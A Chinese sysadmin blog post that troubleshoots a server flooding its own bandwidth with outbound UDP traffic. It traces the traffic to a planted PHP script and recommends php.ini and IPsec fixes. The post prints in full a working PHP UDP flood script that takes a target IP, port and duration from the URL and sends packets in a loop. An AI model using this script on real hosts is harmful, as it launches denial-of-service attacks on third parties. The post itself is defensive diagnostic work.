服务器症状:服务器带宽应用占到70-100%,网络堵塞,网站无法访问,远程控制也连接不上

症状分析:

  1. 服务器安装了流量查看软件DU Meter,可以看到,发送的字节增长速度很快(几乎10m/s),收到的字节很少!
  2. 在cmd 里用 netstat -an 查看到服务器连接的都是同一个ip ,端口都是连续的。根据这个可以判定不是DDOS攻击,因为DDOS是不断收到大量数据包。
  3. IIS限制了网站带宽,但没有效果。
  4. 关闭iis,带宽过一会就正常, 可以判定是网站导致的!然后一个个网站排查(从来没有见过这样的情况,通过页面调用往外发包的)

排查方法:

怀疑是php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?> 

工作原理:

通过url传递IP和端口以udp的方式打开.传递文件到服务器写出。

解决方法:

在php.ini里设置: 
disable_functions =gzinflate; 
allow_url_fopen = Off 
并且: 
;extension=php_sockets.dll 

然后重启IIS

如果设置了问题还没有解决,可以尝试把udp端口关闭!

注意:本ip策略包 会关闭所有udp端口,请慎用!

  • 方法1:直接运行包里的 udp.bat
  • 方法2:”开始”菜单—“运行”—输入”gpedit.msc”—“计算机配置”—“windows 设置”—-“安全设置”—右击”ip 安全策略”—“所有任务”—“导入策略”—选择包里的”udp.ipsec”文件

作者 xingzhou

发表回复